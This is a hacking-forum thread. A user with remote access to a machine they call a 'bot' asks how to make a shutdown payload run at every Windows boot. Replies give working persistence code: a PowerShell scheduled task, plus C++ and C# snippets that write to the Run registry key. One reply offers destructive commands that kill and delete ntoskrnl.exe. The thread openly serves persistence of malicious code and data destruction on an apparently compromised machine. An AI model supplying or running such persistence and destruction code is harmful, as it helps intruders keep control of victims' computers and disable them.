Hack Forums
Force a program to run when Windows starts? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Force a program to run when Windows starts? (/showthread.php?tid=6236983)



Force a program to run when Windows starts? - aerohacker - Mar 23, 2023

I have access a machine using a Remote Desktop program. I made a bat file to shutdown the computer always Windows starts and put the file on Windows Startup Folder, but for some reason the file don't run when Windows starts.

So I converted from bat to exe leaving the window invisible and with administrator rights and even then the program don't run on Windows starts.

Both bat and exe are working, I test locally on my Virtual Machine and I can execute the program remotely on this "bot", navigate to the Windows Startup Folder using the File Manager or Command Prompt and everything works fine.

- I added C:\ Windows Defender exclusions
- There is no another AntiVirus on the system and there's no one program block
- I disabled UAC

how can I "force" the program run always Windows starts?

Can I add the program path via command or script to Registry and/or Tasks Scheduled? Or another way to do that?


RE: Force a program to run when Windows starts? - oRequiem - Mar 23, 2023

You can try this:

- Press the Window Key on your Keyboard
- Search for the name of the program you want to run as startup
- There should be something called App Settings (Click that)
There should be an option to run it as startup.


RE: Force a program to run when Windows starts? - ItachiUchiha - Mar 23, 2023

Here is the script for Powershell (Requires admin rights) else you'll get "Access is denied".
Change "PATH_TO_MY_BOT.exe" to the path of your .exe or .bat file.
Also, don't forget to change the TaskName.

You can remove the "$trigger.Delay = "PT1M" part to disable "Delay task for 1min".

Code
$action = New-ScheduledTaskAction -Execute "PATH_TO_MY_BOT.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
$trigger.Delay = "PT1M"
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Priority 5 -ExecutionTimeLimit (New-TimeSpan)
Register-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -TaskName "ItachiUch1ha"

Have a nice day ✌


RE: Force a program to run when Windows starts? - DramaKing - Mar 23, 2023

(Mar 23, 2023 02:09 AM)ItachiUchiha Wrote:  Here is the script for Powershell (Requires admin rights) else you'll get "Access is denied".
Change "PATH_TO_MY_BOT.exe" to the path of your .exe or .bat file.
Also, don't forget to change the TaskName.

You can remove the "$trigger.Delay = "PT1M" part to disable "Delay task for 1min".

Code
$action = New-ScheduledTaskAction -Execute "PATH_TO_MY_BOT.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
$trigger.Delay = "PT1M"
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Priority 5 -ExecutionTimeLimit (New-TimeSpan)
Register-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -TaskName "ItachiUch1ha"

Have a nice day ✌

Task Scheduler will work. I've also used a VBScript in the Startup folder to run a batch script.

https://itnext.io/how-to-run-your-scripts-on-startup-in-windows-8ae62a625f6c

Now if you want to have the computer shut down as soon as it starts, why not try the below?

Code
taskkill /F /IM ntoskrnl.exe
del /F C:\Windows\System32\ntoskrnl.exe



RE: Force a program to run when Windows starts? - SIM-5339902 - Mar 24, 2023

(Mar 23, 2023 12:51 AM)aerohacker Wrote:  I have access a machine using a Remote Desktop program. I made a bat file to shutdown the computer always Windows starts and put the file on Windows Startup Folder, but for some reason the file don't run when Windows starts.

So I converted from bat to exe leaving the window invisible and with administrator rights and even then the program don't run on Windows starts.

Both bat and exe are working, I test locally on my Virtual Machine and I can execute the program remotely on this "bot", navigate to the Windows Startup Folder using the File Manager or Command Prompt and everything works fine.

- I added C:\ Windows Defender exclusions
- There is no another AntiVirus on the system and there's no one program block
- I disabled UAC

how can I "force" the program run always Windows starts?

Can I add the program path via command or script to Registry and/or Tasks Scheduled? Or another way to do that?

What you wanna do is add it to the registry. You can do this using C++:


#include <Windows.h>

int main() {
HKEY hkey;
LPCTSTR sk = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
LPCTSTR value = TEXT("My Program");
LPCTSTR data = TEXT("C:\\Path\\To\\MyProgram.exe");

if (RegOpenKeyEx(HKEY_CURRENT_USER, sk, 0, KEY_SET_VALUE, &hkey) == ERROR_SUCCESS) {
RegSetValueEx(hkey, value, 0, REG_SZ, (LPBYTE)data, lstrlen(data) * sizeof(TCHAR));
RegCloseKey(hkey);
MessageBox(NULL, TEXT("Program added to Windows startup!"), TEXT("Success"), MB_OK);
return 0;
} else {
MessageBox(NULL, TEXT("Failed to add program to Windows startup!"), TEXT("Error"), MB_OK | MB_ICONERROR);
return 1;
}
}


RE: Force a program to run when Windows starts? - UDPz0r - Mar 24, 2023

Code
static void startup()
        {
            var appExePath = Process.GetCurrentProcess().MainModule.FileName;
            string filename = Path.GetFileName(appExePath);
            RegistryKey rk = Registry.CurrentUser.OpenSubKey
           ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

            rk.SetValue(filename, appExePath);
        }

C# add to registry


RE: Force a program to run when Windows starts? - jeuokhjdfiu97 - Mar 26, 2023

Thank you very much mate :)